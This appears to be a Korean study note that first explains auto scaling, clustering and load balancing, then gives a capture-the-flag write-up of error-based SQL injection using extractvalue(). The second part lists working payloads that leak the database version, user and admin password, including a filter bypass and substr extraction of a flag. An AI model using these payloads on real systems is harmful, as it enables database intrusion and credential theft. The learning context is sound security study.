공통점 : 컴퓨터 시스템의 효율성과 성능을 개선하기 위한 기술 차이점 : 오토 스케일링 - 가변적인 부하 대응 / 클러스터링 - 여러 대의 고정된 서버들 묶어서 작업 분산
오토 스케일링 (Auto Scaling): 클라우드 환경에서 사용되는 기술로, 애플리케이션 또는 서비스의 부하량에 따라 자동으로 리소스를 조절하여 성능을 최적화하는 것 사용자 트래픽 증가로 인해 부하가 증가하면 오토 스케일링은 자동으로 가상 서버 인스턴스를 추가하여 부하를 분산시키고, 트래픽이 감소하면 인스턴스를 줄여 비용 절감 유동적인 트래픽 패턴에 대응하기 위한 방식
클러스터링 (Clustering): 클러스터링은 여러 컴퓨터나 서버를 하나의 그룹으로 묶어서 작업을 분산하거나 고가용성을 확보하는 기술로, 클러스터링은 주로 애플리케이션의 가용성과 신뢰성을 높이기 위해 사용하는 것 여러 대의 서버를 하나의 클러스터로 묶어 로드 밸런싱을 통해 트래픽을 분산하고, 한 대의 서버에 장애가 발생하더라도 다른 서버가 작업을 계속 처리할 수 있도록 함
번외, 로드 밸런싱 : 서버가 처리해야 하는 요청이 과도하게 한쪽으로 몰리는 것을 방지하기 위해 여러 대의 서버로 나눠서 처리하는 것
방식 : scale-up (수직적으로 성능 높이기) / scale - out (비슷한 성능을 가진 서버들의 총 개수 늘리기)
extractvalue()함수는 2개의 인자가 필요하다. 첫번째 인자에는 xml 코드가, 두번째 인자에는 xpath 식이 들어간다. 이때, 두번째 인자인 xpath 식이 올바르지 않다면 에러 메시지에 에러 메시지에 삽입한 식의 결과가 그대로 출력된다. 이 점을 이용해서 DB정보 확인이 가능하다는 것.
첫번째 인자 : 1
두번째 인자 : concat( 0x3a , (select password from users where usernam='admin') )
여기서 0x3a는 : 를 의미한다. : 를 사용하는 이유는 올바르지 않은 xpath 표현식이 되도록 하기 위함이다. 즉, xpath 식 자리에 [ : #@$@!!~ ] 이런 양식이면 error를 발생한다는 점이다.
에러 메시지를 출력하면서 select문이 자동 실행됨을 이용한 취약점이다.
본론으로 돌아가서 이 extractvalue() 함수를 이용해서 문제를 풀어보았다.
payload : ' and extractvalue(1,concat(0x3a, version()));--
입력값에 위 payload 입력시 : 뒤에 DB 서버 버전 정보가 노출됨을 알 수 있다.
payload :' and extractvalue(1,concat(0x3a, user()));--
현재 db의 유저 정보도 확인 가능하다.
mariaDB는 Mysql 계열이기 때문에 select 없이도 쿼리가 실행가능하다. 단, 괄호 필수
payload :' and extractvalue(1,concat(0x3a, (select version())));--
payload: ' and extractvalue(1,concat(0x3a, (select upw from user where uid='admin')));--
단, 만약 입력값에 admin 문자열을 필터링하고 있다면...
' and extractvalue(1,concat(0x3a, (select upw from user limit 0, 1)));--
limit 0, 1을 이용해서 admin을 찾아야 한다.
보통 테이블에서 첫번째열은 id, 두번째열은 pw이므로....
flag값이 잘 보이는 듯.///
했지만 뒷 부분이 짤렸다ㅠㅠ
그러면 substr을 이용해서 한글자씩 찾아보자
payload : ' and extractvalue(1,concat(0x3a, (select substr(upw,1,1) from user where uid='admin')));--
맨 첫 글자가 잘 나옴을 확인하였다. 뒷 부분을 찾아보자.
DH{c3968c78840750168774ad951 여기까지 총 28자리이므로, 뒷 부분이 더 있는지 확인한다.
payload : ' and extractvalue(1,concat(0x3a, (select substr(upw,28,30) from user where uid='admin')));--
28자리부터 어디까지 있는지 모르지만 28에서 부터 30만큼 떨어진 문자까지 모두 출력하도록 하였다.